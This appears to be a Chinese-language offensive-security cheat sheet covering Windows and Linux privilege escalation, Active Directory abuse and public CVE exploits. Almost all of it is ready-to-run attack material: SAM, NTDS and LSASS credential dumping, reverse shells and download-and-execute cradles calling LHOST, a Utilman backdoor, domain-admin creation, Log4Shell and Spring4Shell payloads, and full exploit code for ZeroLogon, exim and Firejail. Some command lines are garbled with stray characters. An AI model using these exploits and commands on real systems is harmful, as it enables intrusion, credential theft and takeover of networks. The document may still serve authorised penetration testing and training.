SeBackupPrivilege 权限升级 (diskshadow)

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

PowerShell环境脚本

SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias foobarp
createp
expose %foobar% z:p

diskshadow /s <FILE>.txt

复制 ntds.dit

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.dit

导出系统注册表值

reg save HKLM\SYSTEM c:\temp\system

提取哈希值

impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL

通过 Robocopy 的替代方式

reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system

set metadata C:\Windows\temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

diskshadow /s script.txt
robocopy /b E:\Windows\ntds . ntds.dit

impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL

SeTake所有权特权

takeown /f C:\Windows\System32\Utilman.exe

icacls C:\Windows\System32\Utilman.exe /grant Everyone:F

C:\Windows\System32\> copy cmd.exe utilman.exe

单击Ease of Access登录屏幕上的按钮即可获取具有权限的 shell NT Authority\System。

SeImpersonate 和 SeAssignPrimaryToken 权限

https://github.com/antonioCoco/RogueWinRM

.\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"

注册表处理

启用彩色输出

reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

然后打开一个新的终端窗口。

检查自动运行程序

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

获取注册表项信息

req query <REGISTRY_KEY>

修改注册表键值

reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>.exe /f

搜索凭证

快速获胜

Unable to extract credentials via DPAPI or Mimikatz? Don't worry. Microsoft got your back. Just use 'rundll32 keymgr.dll, KRShowKeyMgr' to extract all the stored passwords on the host, be it a target server, FTP or chrome's HTTP creds, microsoft has you covered. #redteam pic.twitter.com/OynOurXgtX

— Chetan Nayak (Brute Ratel C4 Author) (@NinjaParanoid) April 19, 2022

https://www.nirsoft.net/utils/credentials_file_view.html

cmdkey /list
rundll32 keymgr.dll, KRShowKeyMgr
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s

搜索密码

dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txt

PowerShell 历史

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

保存的 Windows 凭据

cmdkey /list
runas /savecred /user:<USERNAME> cmd.exe

在注册表中搜索密码

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

转储凭证

reg save hklm\system system
reg save hklm\sam sam
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save

互联网信息服务 (IIS)

C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

PuTTY

reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s

Lsass

tasklist
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\Documents\lsass.dmp full

无人值守的 Windows 安装

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

不安全的服务权限

accesschk64.exe -qlc <SERVICE>
icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F
sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj= LocalSystem
sc stop <SERVICE>
sc start <SERVICE>

服务处理

sc create <SERVICE_NAME>
sc start <SERVICE_NAME>
sc qc <SERVICE_NAME>

计划任务

schtasks
schtasks /query /tn <TASK> /fo list /v
schtasks /run /tn <TASK>
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

未加引号的服务路径

Unquoted Service Paths使用 进行 搜索sc qc。

sc qc
sc qc <SERVICE>
sc stop <SERVICE>
sc start <SERVICE>

icacls <PROGRAM>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe
icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:F

写DACL

Escalating privileges with ACLs in Active Directory

$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword)
Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSync

WMIC

wmic product get name,version,vendor
wmic qfe get Caption,Description,HotFixID,InstalledOn    # no new patches - KEXP pretty likely

通过证书

https://offsec.almond.consulting/authentication-with-certificates-when-pkinit-is-not-supported.html

https://github.com/AlmondOffSec/PassTheCert/tree/main/Python

certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key
evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'

PKINIT工具

python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache
export KRB5CCNAME=<USERNAME>.ccache
python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554

端口扫描

export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done

powercat

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e cmd"

Powermad

Import-Module ./Powermad.ps1
$secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureString

PowerShell

常用命令

whoami /all
getuserid
systeminfo
Get-Process
net users
net users <USERNAME>
Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=LOCAL"
Get-Content <FILE>
Get-ChildItem . -Force
GCI -hidden
type <FILE> | findstr /l <STRING>
[convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))

允许脚本执行

Set-ExecutionPolicy remotesigned
Set-ExecutionPolicy unrestricted

脚本执行绕过

powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1

将模块导入到 PowerShell cmdlet

Import-Module .\<FILE>

检查 PowerShell 版本

Set-ExecutionPolicy Unrestricted
powershell -Command "$PSVersionTable.PSVersion"
powershell -c "[Environment]::Is64BitProcess"

阅读 PowerShell 历史

type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

创建 .zip 文件

Compress-Archive -LiteralPath C:\PATH\TO\FOLDER\<FOLDER> -DestinationPath C:\PATH\TO\FILE<FILE>.zip

解压文件

Expand-Archive -Force <FILE>.zip

开始一个新流程

Start-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell"

调用表达式 / 调用 WebRequest

IEX(IWR http://<LHOST>/<FILE>.ps1)
Invoke-Expression (Invoke-WebRequest http://<LHOST/<FILE>.ps1)

.NET 反射

$bytes = (Invoke-WebRequest "http://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>')))

启动offsec会话

$offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential <USERNAME>
Enter-PSSession $offsec_session

以另一个用户身份执行命令

$SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword)
$Session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { whoami }

或者

$username = '<USERNAME>'
$password = '<PASSWORD>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process powershell.exe -Credential $credential

powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

添加新的域管理员

$PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD>
New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>

在用户上下文中执行命令

$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami}

使用凭据执行脚本（反向 Shell）

$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $cred

pwncat

(local) pwncat$ back    // get back to shell
Ctrl+d                  // get back to pwncat shell

pwncat-cs -lp <LPORT>
(local) pwncat$ download /PATH/TO/FILE/<FILE> .
(local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>

rpc客户端

rpcclient -U "" <RHOST>

dsr_getdcname
dsr_getdcnameex
dsr_getdcnameex2
dsr_getsitename
enumdata
enumdomgroups
enumdomusers
enumjobs
enumports
enumprivs
getanydcname
getdcname
lookupsids
lsaenumsid <SID>
lsaquery
netconnenum
netdiskenum
netfileenum
netsessenum
netshareenum
netshareenumall
netsharegetinfo
queryuser <USERNAME>
srvinfo

Rubeus

Overpass the Hash

.\Rubeus.exe kerberoast /user:<USERNAME>

传递哈希值

.\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentials

RunasCs

./RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>.exe'
./RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>

smbpasswd

smbpasswd -U <RHOST>\<USERNAME> -r <RHOST>

执行程序

winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe

CVE

CVE-2014-6271：Shellshock RCE PoC

curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.sh

CVE-2016-1531：exim LPE

• exim 版本 <= 4.84-3

#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

CVE-2019-14287：Sudo 绕过

https://www.exploit-db.com/exploits/47502

先决条件

• sudo版本 < 1.8.28

Exploitation

!root:
sudo -u#-1 /bin/bash

CVE-2020-1472：ZeroLogon PE

https://github.com/SecuraBV/CVE-2020-1472

https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py

先决条件

python3 -m pip install virtualenv
python3 -m virtualenv venv
source venv/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacket

概念验证修改

    newPassRequest = nrpc.NetrServerPasswordSet2()
    newPassRequest['PrimaryName'] = dc_handle + '\x00'
    newPassRequest['AccountName'] = target_computer + '$\x00'
    newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    auth = nrpc.NETLOGON_AUTHENTICATOR()
    auth['Credential'] = b'\x00' * 8
    auth['Timestamp'] = 0
    newPassRequest['Authenticator'] = auth
    newPassRequest['ComputerName'] = target_computer + '\x00'
    newPassRequest['ClearNewPassword'] =  b'\x00' * 516
    rpc_con.request(newPassRequest)

武器化概念验证

#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%

def fail(msg):
  print(msg, file=sys.stderr)
  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  sys.exit(2)

def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # Use an all-zero challenge and credential.
  plaintext = b'\x00' * 8
  ciphertext = b'\x00' * 8

  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 
  flags = 0x212fffff

  # Send challenge and authentication request.
  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )

    
    # It worked!
    assert server_auth['ErrorCode'] == 0
    newPassRequest = nrpc.NetrServerPasswordSet2()
    newPassRequest['PrimaryName'] = dc_handle + '\x00'
    newPassRequest['AccountName'] = target_computer + '$\x00'
    newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    auth = nrpc.NETLOGON_AUTHENTICATOR()
    auth['Credential'] = b'\x00' * 8
    auth['Timestamp'] = 0
    newPassRequest['Authenticator'] = auth
    newPassRequest['ComputerName'] = target_computer + '\x00'
    newPassRequest['ClearNewPassword'] =  b'\x00' * 516
    rpc_con.request(newPassRequest)
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'Unexpected error: {ex}.')


def perform_attack(dc_handle, dc_ip, target_computer):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):  
    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
    
    if not rpc_con:
      print('=', end='', flush=True)
    else:
      break

  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)


if __name__ == '__main__':
  if not (3 <= len(sys.argv) <= 4):
    print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
    sys.exit(1)
  else:
    [_, dc_name, dc_ip] = sys.argv

    dc_name = dc_name.rstrip('$')
    perform_attack('\\\\' + dc_name, dc_ip, dc_name)

执行

python3 zerologon_tester.py <HANDLE> <RHOST>
impacket-secretsdump -just-dc -no-pass <HANDLE>\$@<RHOST>

CVE-2021-3156：Sudo / sudoedit LPE

https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435

先决条件

• Ubuntu 20.04（sudo 1.8.31）
• Debian 10 (sudo 1.8.27)
• Fedora 33（sudo 1.9.2）
• 所有旧版本 >= 1.8.2 到 1.8.31p2 以及所有稳定版本 >= 1.9.0 到 1.9.5p1

漏洞测试

sudoedit -s /

如果显示以下消息之一，则机器容易受到攻击。

sudoedit: /: not a regular file
segfault

如果错误消息以 开头，则不容易受到攻击 usage:。

CVE-2021-44228：Log4Shell RCE（0day）

https://github.com/kozmer/log4j-shell-poc

先决条件

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

tar -xvf jdk-8u20-linux-x64.tar.gz

启动监听器

python poc.py --userip <LHOST> --webport <RPORT> --lport <LPORT>                                   

执行

${jndi:ldap://<LHOST>:1389/foobar}

CVE-2022-0847：脏管道 LPE

gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd 1 ootz:
su rootz

CVE-2022-22963：Spring4Shell RCE（0day）

https://github.com/me2nuk/CVE-2022-22963

curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl <LHOST>/<FILE>.sh -o /dev/shm/<FILE>")' --data-raw 'data' -v

curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/<FILE>")' --data-raw 'data' -v

CVE-2022-30190：MS-MSDT Follina RCE

https://github.com/JohnHammond/msdt-follina

python3 follina.py -p 80 -c 'powershell.exe Invoke-WebRequest http://<LHOST>:8000/nc64.exe -OutFile C:\\Windows\\Tasks\\nc64.exe; C:\\Windows\\Tasks\\nc64.exe -e cmd.exe <LHOST> <LPORT>'

python3 -m http.server 8000

nc -lnvp <LPORT>

swaks --to <EMAIL> --from <EMAIL> --server <RHOST> --body "http://<LHOST>/"

CVE-2022-31214：Firejail LPE

https://seclists.org/oss-sec/2022/q2/188

https://www.openwall.com/lists/oss-security/2022/06/08/10

#!/usr/bin/python3

# Author: Matthias Gerstner <matthias.gerstner () suse com>
#
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
#   invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")

# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue

        child_pid = line.split()[-1]

        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")

    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"

    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")

            try:
                sleep_pid = int(kids[0])
                break
            except Exception:
                raise Exception("failed to determine sleep child PID from helper sandbox")
    else:
        raise Exception(f"sleep child process did not come into existence in {children}")

    join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
    if not os.path.exists(join_file):
        raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")

    return proc, join_file

# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):

    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")

    os.environ["FIREJOIN_JOINFILE"] = join_file
    os.environ["FIREJOIN_UNSHARED"] = "1"

    unshare = shutil.which("unshare")
    if not unshare:
        printe("could not find 'unshare' program")

    cmdline = "unshare -U -r -m".split()
    cmdline += [__file__]

    # Re-execute this script with unshared user and mount namespaces
    subprocess.call(cmdline)

if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)

    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]

# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"

# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")

FJ_MNT_ROOT = Path("/run/firejail/mnt")

# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")

# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")

# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")

# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")

    # Be agnostic about the PAM config file location in /etc or /usr/etc
    for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
        if not os.path.isdir(pamd):
            continue
        for service in ("su", "sudo"):
            service = Path(pamd) / service
            if not service.exists():
                continue
            # Bind mount over new "helpful" PAM config over the original
            bindMount(tf.name, service)

print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")

while True:
    line = sys.stdin.readline()
    if not line:
        break

第一个终端

./firejoin_py.bin
You can now run 'firejail --join=193982' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

第二个终端

firejail --join=193982
su

CVE-2023-21746：Windows NTLM EoP LocalPotato LPE

https://github.com/decoder-it/LocalPotato

https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc

修改以下文件并构建解决方案。

StorSvc\RpcClient\RpcClient\storsvc_c.c

#if defined(_M_AMD64)

//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022

修改以下文件并构建解决方案。

StorSvc\SprintCSP\SprintCSP\main.c

void DoStuff() {

    // Replace all this code by your payload
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
        NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return;
}

首先从 paths中获取environment，然后使用LocalPotato来放置 malicious DLL。

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

至少StorSvc通过 触发RpcClient.exe。

.\RpcClient.exe

CVE-2023-22809：Sudo 绕过

https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

先决条件

• Sudo 版本需要 ≥ 1.8 且 < 1.9.12p2。
• 对系统上至少一个需要 root 访问权限的文件的 Sudo 访问权限受到限制。

例子

test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motd

exp

EDITOR="vi -- /etc/passwd" sudoedit /etc/motd

sudoedit /etc/motd

CVE-2023-23397：Microsoft Outlook（即点即用）PE（0day）（PowerShell 实施）

Import-Module .\CVE-2023-23397.ps1
Send-CalendarNTLMLeak -recipient "<EMAIL>" -remotefilepath "\\<LHOST>\<FILE>.wav" -meetingsubject "<SUBJECT>" -meetingbody "<TEXT>"

CVE-2023-32629、CVE-2023-2640：GameOverlay Ubuntu 内核利用 LPE（0day）

• Linux ubuntu2204 5.19.0-46-通用

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

CVE-2023-4911：Looney 可调 LPE

python3 gen_libc.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

gcc -o exp exp.c
./exp

GodPotato LPE

https://github.com/BeichenDream/GodPotato

.\GodPotato-NET4.exe -cmd '<COMMAND>'

Juicy Potato LPE

https://github.com/ohpe/juicy-potato

http://ohpe.it/juicy-potato/CLSID/

GetCLSID.ps1

<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>

$ErrorActionPreference = "Stop"

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

Write-Output "Looking for CLSIDs"
$CLSID = @()
Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}})){
    if ($ID.appid -ne $null){
        $CLSID += $ID
    }
}

Write-Output "Looking for APIDs"
$APPID = @()
Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}})){
    if ($AID.LocalService -ne $null){
        $APPID += $AID
    }
}

Write-Output "Joining CLSIDs and APIDs"
$RESULT = @()
Foreach ($app in $APPID){
    Foreach ($CLS in $CLSID){
        if($CLS.AppId -eq $app.AppID){
            $RESULT += New-Object psobject -Property @{
                AppId    = $app.AppId
                LocalService = $app.LocalService
                CLSID = $CLS.CLSID
            }

            break
        }
    }
}

$RESULT = $RESULT | Sort-Object LocalService

# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"

# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET

# Output in a CSV
